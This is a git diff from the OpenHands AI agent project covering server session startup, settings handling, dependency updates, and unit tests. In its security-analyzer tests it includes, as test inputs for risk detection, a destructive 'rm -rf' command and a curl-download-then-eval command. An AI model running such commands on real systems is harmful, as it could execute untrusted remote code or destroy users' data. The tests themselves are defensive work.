session_init_args: dict = {} if settings: session_init_args = {**settings.__dict__, **session_init_args} - if data.args: - for key, value in data.args.items(): - session_init_args[key.lower()] = value session_init_args['github_token'] = github_token session_init_args['selected_repository'] = data.selected_repository conversation_init_data = ConversationInitData(**session_init_args) + logger.info('Loading conversation store') conversation_store = await ConversationStoreImpl.get_instance(config, github_token) + logger.info('Conversation store loaded') conversation_id = uuid.uuid4().hex while await conversation_store.exists(conversation_id): logger.warning(f'Collision on conversation ID: {conversation_id}. Retrying...') conversation_id = uuid.uuid4().hex + logger.info(f'New conversation ID: {conversation_id}') user_id = '' if data.github_token: - g = Github(data.github_token) - gh_user = await call_sync_from_async(g.get_user) - user_id = gh_user.id + logger.info('Fetching Github user ID') + with Github(data.github_token) as g: + gh_user = await call_sync_from_async(g.get_user) + user_id = gh_user.id + logger.info(f'Saving metadata for conversation {conversation_id}') await conversation_store.save_metadata( ConversationMetadata( conversation_id=conversation_id, @@ -67,7 +72,9 @@ async def new_conversation(request: Request, data: InitSessionRequest): ) ) + logger.info(f'Starting agent loop for conversation {conversation_id}') await session_manager.maybe_start_agent_loop( conversation_id, conversation_init_data ) + logger.info(f'Finished initializing conversation {conversation_id}') return JSONResponse(content={'status': 'ok', 'conversation_id': conversation_id}) diff --git a/openhands/server/routes/settings.py b/openhands/server/routes/settings.py index 456bb2a87377..81637e8e45ef 100644 --- a/openhands/server/routes/settings.py +++ b/openhands/server/routes/settings.py @@ -27,9 +27,14 @@ async def load_settings( try: settings_store = await SettingsStoreImpl.get_instance(config, github_token) settings = await settings_store.load() - if settings: - # For security reasons we don't ever send the api key to the client - settings.llm_api_key = 'SET' if settings.llm_api_key else None + if not settings: + return JSONResponse( + status_code=status.HTTP_404_NOT_FOUND, + content={'error': 'Settings not found'}, + ) + + # For security reasons we don't ever send the api key to the client + settings.llm_api_key = 'SET' if settings.llm_api_key else None return settings except Exception as e: logger.warning(f'Invalid token: {e}') @@ -50,14 +55,13 @@ async def store_settings( try: settings_store = await SettingsStoreImpl.get_instance(config, github_token) existing_settings = await settings_store.load() + if existing_settings: - # Only update settings that are not None with the new values - for key, value in settings.__dict__.items(): - if value is None: - setattr(settings, key, getattr(existing_settings, key)) + # LLM key isn't on the frontend, so we need to keep it if unset if settings.llm_api_key is None: settings.llm_api_key = existing_settings.llm_api_key await settings_store.store(settings) + return JSONResponse( status_code=status.HTTP_200_OK, content={'message': 'Settings stored'}, diff --git a/openhands/server/session/agent_session.py b/openhands/server/session/agent_session.py index a3f87bf72f00..7d63f9b828d9 100644 --- a/openhands/server/session/agent_session.py +++ b/openhands/server/session/agent_session.py @@ -84,39 +84,6 @@ async def start( 'Session already started. You need to close this session and start a new one.' ) - asyncio.get_event_loop().run_in_executor( - None, - self._start_thread, - runtime_name, - config, - agent, - max_iterations, - max_budget_per_task, - agent_to_llm_config, - agent_configs, - github_token, - selected_repository, - ) - - def _start_thread(self, *args): - try: - asyncio.run(self._start(*args), debug=True) - except RuntimeError: - logger.error(f'Error starting session: {RuntimeError}', exc_info=True) - logger.debug('Session Finished') - - async def _start( - self, - runtime_name: str, - config: AppConfig, - agent: Agent, - max_iterations: int, - max_budget_per_task: float | None = None, - agent_to_llm_config: dict[str, LLMConfig] | None = None, - agent_configs: dict[str, AgentConfig] | None = None, - github_token: str | None = None, - selected_repository: str | None = None, - ): if self._closed: logger.warning('Session closed before starting') return @@ -141,9 +108,7 @@ async def _start( self.event_stream.add_event( ChangeAgentStateAction(AgentState.INIT), EventSource.ENVIRONMENT ) - self.controller.agent_task = self.controller.start_step_loop() self._initializing = False - await self.controller.agent_task # type: ignore def close(self): """Closes the Agent session""" @@ -304,11 +269,26 @@ def _create_controller( headless_mode=False, status_callback=self._status_callback, ) + + # Note: We now attempt to restore the state from session here, + # but if it fails, we fall back to None and still initialize the controller + # with a fresh state. That way, the controller will always load events from the event stream + # even if the state file was corrupt. + + restored_state = None try: - agent_state = State.restore_from_session(self.sid, self.file_store) - controller.set_initial_state(agent_state, max_iterations, confirmation_mode) - logger.debug(f'Restored agent state from session, sid: {self.sid}') + restored_state = State.restore_from_session(self.sid, self.file_store) except Exception as e: - logger.debug(f'State could not be restored: {e}') + if self.event_stream.get_latest_event_id() > 0: + # if we have events, we should have a state + logger.warning(f'State could not be restored: {e}') + + # Set the initial state through the controller. + controller.set_initial_state(restored_state, max_iterations, confirmation_mode) + if restored_state: + logger.debug(f'Restored agent state from session, sid: {self.sid}') + else: + logger.debug('New session state created.') + logger.debug('Agent controller initialized.') return controller diff --git a/openhands/server/session/manager.py b/openhands/server/session/manager.py index fcb7153ac55c..60b5bd2675af 100644 --- a/openhands/server/session/manager.py +++ b/openhands/server/session/manager.py @@ -351,12 +351,13 @@ async def maybe_start_agent_loop(self, sid: str, settings: Settings) -> EventStr sid=sid, file_store=self.file_store, config=self.config, sio=self.sio ) self._local_agent_loops_by_sid[sid] = session - await session.initialize_agent(settings) + asyncio.create_task(session.initialize_agent(settings)) event_stream = await self._get_event_stream(sid) if not event_stream: logger.error(f'No event stream after starting agent loop: {sid}') raise RuntimeError(f'no_event_stream:{sid}') + asyncio.create_task(self._cleanup_session_later(sid)) return event_stream async def _get_event_stream(self, sid: str) -> EventStream | None: diff --git a/openhands/server/session/session.py b/openhands/server/session/session.py index da412a435c40..a481fbd27078 100644 --- a/openhands/server/session/session.py +++ b/openhands/server/session/session.py @@ -82,14 +82,11 @@ async def initialize_agent( settings.security_analyzer or self.config.security.security_analyzer ) max_iterations = settings.max_iterations or self.config.max_iterations - # override default LLM config default_llm_config = self.config.get_llm_config() - default_llm_config.model = settings.llm_model or default_llm_config.model - default_llm_config.api_key = settings.llm_api_key or default_llm_config.api_key - default_llm_config.base_url = ( - settings.llm_base_url or default_llm_config.base_url - ) + default_llm_config.model = settings.llm_model or '' + default_llm_config.api_key = settings.llm_api_key + default_llm_config.base_url = settings.llm_base_url # TODO: override other LLM config & agent config groups (#2075) @@ -122,7 +119,10 @@ async def initialize_agent( ) return - async def on_event(self, event: Event): + def on_event(self, event: Event): + asyncio.get_event_loop().run_until_complete(self._on_event(event)) + + async def _on_event(self, event: Event): """Callback function for events that mainly come from the agent. Event is the base class for any agent action and observation. diff --git a/openhands/storage/conversation/file_conversation_store.py b/openhands/storage/conversation/file_conversation_store.py index b77555fcd51e..0a08660394ae 100644 --- a/openhands/storage/conversation/file_conversation_store.py +++ b/openhands/storage/conversation/file_conversation_store.py @@ -4,9 +4,9 @@ from dataclasses import dataclass from openhands.core.config.app_config import AppConfig +from openhands.server.data_models.conversation_metadata import ConversationMetadata from openhands.storage import get_file_store from openhands.storage.conversation.conversation_store import ConversationStore -from openhands.server.data_models.conversation_metadata import ConversationMetadata from openhands.storage.files import FileStore from openhands.storage.locations import get_conversation_metadata_filename from openhands.utils.async_utils import call_sync_from_async diff --git a/poetry.lock b/poetry.lock index 2cd8ae911b76..cbf5f1dc12b5 100644 --- a/poetry.lock +++ b/poetry.lock @@ -941,13 +941,13 @@ numpy = "*" [[package]] name = "chromadb" -version = "0.5.23" +version = "0.6.0" description = "Chroma." optional = false -python-versions = ">=3.8" +python-versions = ">=3.9" files = [ - {file = "chromadb-0.5.23-py3-none-any.whl", hash = "sha256:ffe5bdd7276d12cb682df0d38a13aa37573e6a3678e71889ac45f539ae05ad7e"}, - {file = "chromadb-0.5.23.tar.gz", hash = "sha256:360a12b9795c5a33cb1f839d14410ccbde662ef1accd36153b0ae22312edabd1"}, + {file = "chromadb-0.6.0-py3-none-any.whl", hash = "sha256:02e2c07acfc22dd5fe33cc48b89e37fbf407892f0658d534a8f94187083d7457"}, + {file = "chromadb-0.6.0.tar.gz", hash = "sha256:8f72dc9bf0ed2c6358e46a80f31c39199cdcea39b0714e67b91f13acb64251ce"}, ] [package.dependencies] @@ -974,7 +974,7 @@ pypika = ">=0.48.9" PyYAML = ">=6.0.0" rich = ">=10.11.0" tenacity = ">=8.2.3" -tokenizers = ">=0.13.2,<=0.20.3" +tokenizers = ">=0.13.2" tqdm = ">=4.65.0" typer = ">=0.9.0" typing_extensions = ">=4.5.0" @@ -3782,19 +3782,19 @@ pydantic = ">=1.10" [[package]] name = "llama-index" -version = "0.12.8" +version = "0.12.9" description = "Interface between LLMs and your data" optional = false python-versions = "<4.0,>=3.9" files = [ - {file = "llama_index-0.12.8-py3-none-any.whl", hash = "sha256:6b98ea44c225c7d230fd7f552dfcc2911ef327e3be352dc239011118242e4a28"}, - {file = "llama_index-0.12.8.tar.gz", hash = "sha256:f1578bb6873fa4f90a8645a80f4f997d184770e63bd7a2b45a98ab6e5c70fb59"}, + {file = "llama_index-0.12.9-py3-none-any.whl", hash = "sha256:95c39d8055c7d19bd5f099560b53c0971ae9997ebe46f7438766189ed48e4456"}, + {file = "llama_index-0.12.9.tar.gz", hash = "sha256:2f8d671e6ca7e5b33b0f5cbddef8c0a11eb1e39781f1be65e9bd0c4a7a0deb5b"}, ] [package.dependencies] llama-index-agent-openai = ">=0.4.0,<0.5.0" llama-index-cli = ">=0.4.0,<0.5.0" -llama-index-core = ">=0.12.8,<0.13.0" +llama-index-core = ">=0.12.9,<0.13.0" llama-index-embeddings-openai = ">=0.3.0,<0.4.0" llama-index-indices-managed-llama-cloud = ">=0.4.0" llama-index-llms-openai = ">=0.3.0,<0.4.0" @@ -3839,13 +3839,13 @@ llama-index-llms-openai = ">=0.3.0,<0.4.0" [[package]] name = "llama-index-core" -version = "0.12.8" +version = "0.12.9" description = "Interface between LLMs and your data" optional = false python-versions = "<4.0,>=3.9" files = [ - {file = "llama_index_core-0.12.8-py3-none-any.whl", hash = "sha256:7ebecbdaa1d5b6a320c050bf90525605ac03b242d26ad55f0e00a0e1df69e070"}, - {file = "llama_index_core-0.12.8.tar.gz", hash = "sha256:3b360437b4ae47b7bd1733f6492a95126e6739c7a2fd2b649ebe8bb3afea7143"}, + {file = "llama_index_core-0.12.9-py3-none-any.whl", hash = "sha256:75bfdece8e1eb37faba43345cfbd9a8004859c177c1b5b358fc77620908c0f3f"}, + {file = "llama_index_core-0.12.9.tar.gz", hash = "sha256:a6a702af13f8a840ff2a459024d21280e5b04d37f22c73efdc52def60e047af6"}, ] [package.dependencies] diff --git a/pyproject.toml b/pyproject.toml index 155f62b8c764..da5dc520cde4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [tool.poetry] name = "openhands-ai" -version = "0.17.0" +version = "0.18.0" description = "OpenHands: Code Less, Make More" authors = ["OpenHands"] license = "MIT" @@ -100,7 +100,6 @@ reportlab = "*" [tool.coverage.run] concurrency = ["gevent"] - [tool.poetry.group.runtime.dependencies] jupyterlab = "*" notebook = "*" @@ -130,7 +129,6 @@ ignore = ["D1"] [tool.ruff.lint.pydocstyle] convention = "google" - [tool.poetry.group.evaluation.dependencies] streamlit = "*" whatthepatch = "*" diff --git a/tests/unit/test_action_serialization.py b/tests/unit/test_action_serialization.py index 93c537937ed0..318dd612a2d7 100644 --- a/tests/unit/test_action_serialization.py +++ b/tests/unit/test_action_serialization.py @@ -1,6 +1,5 @@ from openhands.events.action import ( Action, - AddTaskAction, AgentFinishAction, AgentRejectAction, BrowseInteractiveAction, @@ -9,7 +8,6 @@ FileReadAction, FileWriteAction, MessageAction, - ModifyTaskAction, ) from openhands.events.action.action import ActionConfirmationStatus from openhands.events.serialization import ( @@ -156,24 +154,3 @@ def test_file_write_action_serialization_deserialization(): }, } serialization_deserialization(original_action_dict, FileWriteAction) - - -def test_add_task_action_serialization_deserialization(): - original_action_dict = { - 'action': 'add_task', - 'args': { - 'parent': 'Test parent', - 'goal': 'Test goal', - 'subtasks': [], - 'thought': '', - }, - } - serialization_deserialization(original_action_dict, AddTaskAction) - - -def test_modify_task_action_serialization_deserialization(): - original_action_dict = { - 'action': 'modify_task', - 'args': {'task_id': 1, 'state': 'Test state.', 'thought': ''}, - } - serialization_deserialization(original_action_dict, ModifyTaskAction) diff --git a/tests/unit/test_agent_controller.py b/tests/unit/test_agent_controller.py index d6927e3061b8..a2136c239366 100644 --- a/tests/unit/test_agent_controller.py +++ b/tests/unit/test_agent_controller.py @@ -37,7 +37,10 @@ def event_loop(): @pytest.fixture def mock_agent(): - return MagicMock(spec=Agent) + agent = MagicMock(spec=Agent) + agent.llm = MagicMock(spec=LLM) + agent.llm.metrics = MagicMock(spec=Metrics) + return agent @pytest.fixture @@ -52,6 +55,11 @@ def mock_status_callback(): return AsyncMock() +async def send_event_to_controller(controller, event): + await controller._on_event(event) + await asyncio.sleep(0.1) + + @pytest.mark.asyncio async def test_set_agent_state(mock_agent, mock_event_stream): controller = AgentController( @@ -82,7 +90,7 @@ async def test_on_event_message_action(mock_agent, mock_event_stream): ) controller.state.agent_state = AgentState.RUNNING message_action = MessageAction(content='Test message') - await controller.on_event(message_action) + await send_event_to_controller(controller, message_action) assert controller.get_agent_state() == AgentState.RUNNING await controller.close() @@ -99,7 +107,7 @@ async def test_on_event_change_agent_state_action(mock_agent, mock_event_stream) ) controller.state.agent_state = AgentState.RUNNING change_state_action = ChangeAgentStateAction(agent_state=AgentState.PAUSED) - await controller.on_event(change_state_action) + await send_event_to_controller(controller, change_state_action) assert controller.get_agent_state() == AgentState.PAUSED await controller.close() @@ -141,7 +149,7 @@ def agent_step_fn(state): runtime = MagicMock(spec=Runtime) - async def on_event(event: Event): + def on_event(event: Event): if isinstance(event, CmdRunAction): error_obs = ErrorObservation('You messed around with Jim') error_obs._cause = event.id @@ -184,7 +192,7 @@ def agent_step_fn(state): agent.llm.config = config.get_llm_config() runtime = MagicMock(spec=Runtime) - async def on_event(event: Event): + def on_event(event: Event): if isinstance(event, CmdRunAction): non_fatal_error_obs = ErrorObservation( 'Non fatal error here to trigger loop' @@ -305,7 +313,7 @@ async def test_max_iterations_extension(mock_agent, mock_event_stream): # Simulate a new user message message_action = MessageAction(content='Test message') message_action._source = EventSource.USER - await controller.on_event(message_action) + await send_event_to_controller(controller, message_action) # Max iterations should be extended to current iteration + initial max_iterations assert ( @@ -335,7 +343,7 @@ async def test_max_iterations_extension(mock_agent, mock_event_stream): # Simulate a new user message message_action = MessageAction(content='Test message') message_action._source = EventSource.USER - await controller.on_event(message_action) + await send_event_to_controller(controller, message_action) # Max iterations should NOT be extended in headless mode assert controller.state.max_iterations == 10 # Original value unchanged @@ -387,3 +395,152 @@ async def test_step_max_budget_headless(mock_agent, mock_event_stream): # In headless mode, throttling results in an error assert controller.state.agent_state == AgentState.ERROR await controller.close() + + +@pytest.mark.asyncio +async def test_reset_with_pending_action_no_observation(mock_agent, mock_event_stream): + """Test reset() when there's a pending action with tool call metadata but no observation.""" + controller = AgentController( + agent=mock_agent, + event_stream=mock_event_stream, + max_iterations=10, + sid='test', + confirmation_mode=False, + headless_mode=True, + ) + + # Create a pending action with tool call metadata + pending_action = CmdRunAction(command='test') + pending_action.tool_call_metadata = { + 'function': 'test_function', + 'args': {'arg1': 'value1'}, + } + controller._pending_action = pending_action + + # Call reset + controller._reset() + + # Verify that an ErrorObservation was added to the event stream + mock_event_stream.add_event.assert_called_once() + args, kwargs = mock_event_stream.add_event.call_args + error_obs, source = args + assert isinstance(error_obs, ErrorObservation) + assert error_obs.content == 'The action has not been executed.' + assert error_obs.tool_call_metadata == pending_action.tool_call_metadata + assert error_obs._cause == pending_action.id + assert source == EventSource.AGENT + + # Verify that pending action was reset + assert controller._pending_action is None + + # Verify that agent.reset() was called + mock_agent.reset.assert_called_once() + await controller.close() + + +@pytest.mark.asyncio +async def test_reset_with_pending_action_existing_observation( + mock_agent, mock_event_stream +): + """Test reset() when there's a pending action with tool call metadata and an existing observation.""" + controller = AgentController( + agent=mock_agent, + event_stream=mock_event_stream, + max_iterations=10, + sid='test', + confirmation_mode=False, + headless_mode=True, + ) + + # Create a pending action with tool call metadata + pending_action = CmdRunAction(command='test') + pending_action.tool_call_metadata = { + 'function': 'test_function', + 'args': {'arg1': 'value1'}, + } + controller._pending_action = pending_action + + # Add an existing observation to the history + existing_obs = ErrorObservation(content='Previous error') + existing_obs.tool_call_metadata = pending_action.tool_call_metadata + controller.state.history.append(existing_obs) + + # Call reset + controller._reset() + + # Verify that no new ErrorObservation was added to the event stream + mock_event_stream.add_event.assert_not_called() + + # Verify that pending action was reset + assert controller._pending_action is None + + # Verify that agent.reset() was called + mock_agent.reset.assert_called_once() + await controller.close() + + +@pytest.mark.asyncio +async def test_reset_without_pending_action(mock_agent, mock_event_stream): + """Test reset() when there's no pending action.""" + controller = AgentController( + agent=mock_agent, + event_stream=mock_event_stream, + max_iterations=10, + sid='test', + confirmation_mode=False, + headless_mode=True, + ) + + # Call reset + controller._reset() + + # Verify that no ErrorObservation was added to the event stream + mock_event_stream.add_event.assert_not_called() + + # Verify that pending action is None + assert controller._pending_action is None + + # Verify that agent.reset() was called + mock_agent.reset.assert_called_once() + await controller.close() + + +@pytest.mark.asyncio +async def test_reset_with_pending_action_no_metadata( + mock_agent, mock_event_stream, monkeypatch +): + """Test reset() when there's a pending action without tool call metadata.""" + controller = AgentController( + agent=mock_agent, + event_stream=mock_event_stream, + max_iterations=10, + sid='test', + confirmation_mode=False, + headless_mode=True, + ) + + # Create a pending action without tool call metadata + pending_action = CmdRunAction(command='test') + # Mock hasattr to return False for tool_call_metadata + original_hasattr = hasattr + + def mock_hasattr(obj, name): + if obj == pending_action and name == 'tool_call_metadata': + return False + return original_hasattr(obj, name) + + monkeypatch.setattr('builtins.hasattr', mock_hasattr) + controller._pending_action = pending_action + + # Call reset + controller._reset() + + # Verify that no ErrorObservation was added to the event stream + mock_event_stream.add_event.assert_not_called() + + # Verify that pending action was reset + assert controller._pending_action is None + + # Verify that agent.reset() was called + mock_agent.reset.assert_called_once() + await controller.close() diff --git a/tests/unit/test_arg_parser.py b/tests/unit/test_arg_parser.py index 45b9a473742f..ebfa629a5f00 100644 --- a/tests/unit/test_arg_parser.py +++ b/tests/unit/test_arg_parser.py @@ -18,7 +18,7 @@ def test_parser_default_values(): assert args.eval_num_workers == 4 assert args.eval_note is None assert args.llm_config is None - assert args.name == 'default' + assert args.name == '' assert not args.no_auto_continue diff --git a/tests/unit/test_config.py b/tests/unit/test_config.py index d4ef11c4ce8c..8a72c2e326da 100644 --- a/tests/unit/test_config.py +++ b/tests/unit/test_config.py @@ -71,7 +71,7 @@ def test_load_from_old_style_env(monkeypatch, default_config): # Test loading configuration from old-style environment variables using monkeypatch monkeypatch.setenv('LLM_API_KEY', 'test-api-key') monkeypatch.setenv('AGENT_MEMORY_ENABLED', 'True') - monkeypatch.setenv('DEFAULT_AGENT', 'PlannerAgent') + monkeypatch.setenv('DEFAULT_AGENT', 'BrowsingAgent') monkeypatch.setenv('WORKSPACE_BASE', '/opt/files/workspace') monkeypatch.setenv('SANDBOX_BASE_CONTAINER_IMAGE', 'custom_image') @@ -79,7 +79,7 @@ def test_load_from_old_style_env(monkeypatch, default_config): assert default_config.get_llm_config().api_key == 'test-api-key' assert default_config.get_agent_config().memory_enabled is True - assert default_config.default_agent == 'PlannerAgent' + assert default_config.default_agent == 'BrowsingAgent' assert default_config.workspace_base == '/opt/files/workspace' assert default_config.workspace_mount_path is None # before finalize_config assert default_config.workspace_mount_path_in_sandbox is not None @@ -333,8 +333,10 @@ def test_defaults_dict_after_updates(default_config): updated_config.get_llm_config().api_key = 'updated-api-key' updated_config.get_llm_config('llm').api_key = 'updated-api-key' updated_config.get_llm_config_from_agent('agent').api_key = 'updated-api-key' - updated_config.get_llm_config_from_agent('PlannerAgent').api_key = 'updated-api-key' - updated_config.default_agent = 'PlannerAgent' + updated_config.get_llm_config_from_agent( + 'BrowsingAgent' + ).api_key = 'updated-api-key' + updated_config.default_agent = 'BrowsingAgent' defaults_after_updates = updated_config.defaults_dict assert defaults_after_updates['default_agent']['default'] == 'CodeActAgent' @@ -547,7 +549,7 @@ def test_get_agent_configs(default_config, temp_toml_file): [agent.CodeActAgent] memory_enabled = true -[agent.PlannerAgent] +[agent.BrowsingAgent] memory_max_threads = 10 """ @@ -558,5 +560,5 @@ def test_get_agent_configs(default_config, temp_toml_file): codeact_config = default_config.get_agent_configs().get('CodeActAgent') assert codeact_config.memory_enabled is True - planner_config = default_config.get_agent_configs().get('PlannerAgent') - assert planner_config.memory_max_threads == 10 + browsing_config = default_config.get_agent_configs().get('BrowsingAgent') + assert browsing_config.memory_max_threads == 10 diff --git a/tests/unit/test_micro_agents.py b/tests/unit/test_micro_agents.py index 5910582e4ec7..c7461bbda226 100644 --- a/tests/unit/test_micro_agents.py +++ b/tests/unit/test_micro_agents.py @@ -31,7 +31,7 @@ def event_stream(temp_dir): def agent_configs(): return { 'CoderAgent': AgentConfig(memory_enabled=True), - 'PlannerAgent': AgentConfig(memory_enabled=True), + 'BrowsingAgent': AgentConfig(memory_enabled=True), } diff --git a/tests/unit/test_response_parsing.py b/tests/unit/test_response_parsing.py index 02710f48987f..fd588d4c6edf 100644 --- a/tests/unit/test_response_parsing.py +++ b/tests/unit/test_response_parsing.py @@ -1,9 +1,6 @@ import pytest from openhands.agenthub.micro.agent import parse_response as parse_response_micro -from openhands.agenthub.planner_agent.prompt import ( - parse_response as parse_response_planner, -) from openhands.core.exceptions import LLMResponseError from openhands.core.utils.json import loads as custom_loads from openhands.events.action import ( @@ -14,7 +11,7 @@ @pytest.mark.parametrize( 'parse_response_module', - [parse_response_micro, parse_response_planner], + [parse_response_micro], ) def test_parse_single_complete_json(parse_response_module): input_response = """ @@ -34,7 +31,7 @@ def test_parse_single_complete_json(parse_response_module): @pytest.mark.parametrize( 'parse_response_module', - [parse_response_micro, parse_response_planner], + [parse_response_micro], ) def test_parse_json_with_surrounding_text(parse_response_module): input_response = """ @@ -57,7 +54,7 @@ def test_parse_json_with_surrounding_text(parse_response_module): @pytest.mark.parametrize( 'parse_response_module', - [parse_response_micro, parse_response_planner], + [parse_response_micro], ) def test_parse_first_of_multiple_jsons(parse_response_module): input_response = """ diff --git a/tests/unit/test_security.py b/tests/unit/test_security.py index a36c66104f65..71afd04dbe61 100644 --- a/tests/unit/test_security.py +++ b/tests/unit/test_security.py @@ -50,7 +50,8 @@ def add_events(event_stream: EventStream, data: list[tuple[Event, EventSource]]) event_stream.add_event(event, source) -def test_msg(temp_dir: str): +@pytest.mark.asyncio +async def test_msg(temp_dir: str): mock_container = MagicMock() mock_container.status = 'running' mock_container.attrs = { @@ -82,14 +83,19 @@ def test_msg(temp_dir: str): (msg: Message) "ABC" in msg.content """ - InvariantAnalyzer(event_stream, policy) + analyzer = InvariantAnalyzer(event_stream, policy) data = [ (MessageAction('Hello world!'), EventSource.USER), (MessageAction('AB!'), EventSource.AGENT), (MessageAction('Hello world!'), EventSource.USER), (MessageAction('ABC!'), EventSource.AGENT), ] - add_events(event_stream, data) + + # Call on_event directly for each event + for event, source in data: + event._source = source # Set the source on the event directly + await analyzer.on_event(event) + for i in range(3): assert data[i][0].security_risk == ActionSecurityRisk.LOW assert data[3][0].security_risk == ActionSecurityRisk.MEDIUM @@ -99,7 +105,8 @@ def test_msg(temp_dir: str): 'cmd,expected_risk', [('rm -rf root_dir', ActionSecurityRisk.MEDIUM), ['ls', ActionSecurityRisk.LOW]], ) -def test_cmd(cmd, expected_risk, temp_dir: str): +@pytest.mark.asyncio +async def test_cmd(cmd, expected_risk, temp_dir: str): mock_container = MagicMock() mock_container.status = 'running' mock_container.attrs = { @@ -130,12 +137,17 @@ def test_cmd(cmd, expected_risk, temp_dir: str): call is tool:run match("rm -rf", call.function.arguments.command) """ - InvariantAnalyzer(event_stream, policy) + analyzer = InvariantAnalyzer(event_stream, policy) data = [ (MessageAction('Hello world!'), EventSource.USER), (CmdRunAction(cmd), EventSource.USER), ] - add_events(event_stream, data) + + # Call on_event directly for each event + for event, source in data: + event._source = source # Set the source on the event directly + await analyzer.on_event(event) + assert data[0][0].security_risk == ActionSecurityRisk.LOW assert data[1][0].security_risk == expected_risk @@ -147,7 +159,8 @@ def test_cmd(cmd, expected_risk, temp_dir: str): ('my_key=123', ActionSecurityRisk.LOW), ], ) -def test_leak_secrets(code, expected_risk, temp_dir: str): +@pytest.mark.asyncio +async def test_leak_secrets(code, expected_risk, temp_dir: str): mock_container = MagicMock() mock_container.status = 'running' mock_container.attrs = { @@ -181,19 +194,25 @@ def test_leak_secrets(code, expected_risk, temp_dir: str): call is tool:run_ipython any(secrets(call.function.arguments.code)) """ - InvariantAnalyzer(event_stream, policy) + analyzer = InvariantAnalyzer(event_stream, policy) data = [ (MessageAction('Hello world!'), EventSource.USER), (IPythonRunCellAction(code), EventSource.AGENT), (IPythonRunCellAction('hello'), EventSource.AGENT), ] - add_events(event_stream, data) + + # Call on_event directly for each event + for event, source in data: + event._source = source # Set the source on the event directly + await analyzer.on_event(event) + assert data[0][0].security_risk == ActionSecurityRisk.LOW assert data[1][0].security_risk == expected_risk assert data[2][0].security_risk == ActionSecurityRisk.LOW -def test_unsafe_python_code(temp_dir: str): +@pytest.mark.asyncio +async def test_unsafe_python_code(temp_dir: str): mock_container = MagicMock() mock_container.status = 'running' mock_container.attrs = { @@ -222,17 +241,23 @@ def hashString(input): """ file_store = get_file_store('local', temp_dir) event_stream = EventStream('main', file_store) - InvariantAnalyzer(event_stream) + analyzer = InvariantAnalyzer(event_stream) data = [ (MessageAction('Hello world!'), EventSource.USER), (IPythonRunCellAction(code), EventSource.AGENT), ] - add_events(event_stream, data) + + # Call on_event directly for each event + for event, source in data: + event._source = source # Set the source on the event directly + await analyzer.on_event(event) + assert data[0][0].security_risk == ActionSecurityRisk.LOW assert data[1][0].security_risk == ActionSecurityRisk.MEDIUM -def test_unsafe_bash_command(temp_dir: str): +@pytest.mark.asyncio +async def test_unsafe_bash_command(temp_dir: str): mock_container = MagicMock() mock_container.status = 'running' mock_container.attrs = { @@ -258,12 +283,17 @@ def test_unsafe_bash_command(temp_dir: str): code = """x=$(curl -L https://raw.githubusercontent.com/something)\neval ${x}\n"}""" file_store = get_file_store('local', temp_dir) event_stream = EventStream('main', file_store) - InvariantAnalyzer(event_stream) + analyzer = InvariantAnalyzer(event_stream) data = [ (MessageAction('Hello world!'), EventSource.USER), (CmdRunAction(code), EventSource.AGENT), ] - add_events(event_stream, data) + + # Call on_event directly for each event + for event, source in data: + event._source = source # Set the source on the event directly + await analyzer.on_event(event) + assert data[0][0].security_risk == ActionSecurityRisk.LOW assert data[1][0].security_risk == ActionSecurityRisk.MEDIUM @@ -524,7 +554,8 @@ def default_config(): ], ) @patch('openhands.llm.llm.litellm_completion', autospec=True) -def test_check_usertask( +@pytest.mark.asyncio +async def test_check_usertask( mock_litellm_completion, usertask, is_appropriate, default_config, temp_dir: str ): mock_container = MagicMock() @@ -559,7 +590,13 @@ def test_check_usertask( data = [ (MessageAction(usertask), EventSource.USER), ] - add_events(event_stream, data) + + # Add events to the stream first + for event, source in data: + event._source = source # Set the source on the event directly + event_stream.add_event(event, source) + await analyzer.on_event(event) + event_list = list(event_stream.get_events()) if is_appropriate == 'No': @@ -579,7 +616,8 @@ def test_check_usertask( ], ) @patch('openhands.llm.llm.litellm_completion', autospec=True) -def test_check_fillaction( +@pytest.mark.asyncio +async def test_check_fillaction( mock_litellm_completion, fillaction, is_harmful, default_config, temp_dir: str ): mock_container = MagicMock() @@ -614,7 +652,13 @@ def test_check_fillaction( data = [ (BrowseInteractiveAction(browser_actions=fillaction), EventSource.AGENT), ] - add_events(event_stream, data) + + # Add events to the stream first + for event, source in data: + event._source = source # Set the source on the event directly + event_stream.add_event(event, source) + await analyzer.on_event(event) + event_list = list(event_stream.get_events()) if is_harmful == 'Yes': diff --git a/tests/unit/test_truncation.py b/tests/unit/test_truncation.py index 7d03d2f619a5..08e7d8f7be71 100644 --- a/tests/unit/test_truncation.py +++ b/tests/unit/test_truncation.py @@ -13,6 +13,8 @@ def mock_event_stream(): stream = MagicMock() # Mock get_events to return an empty list by default stream.get_events.return_value = [] + # Mock get_latest_event_id to return a valid integer + stream.get_latest_event_id.return_value = 0 return stream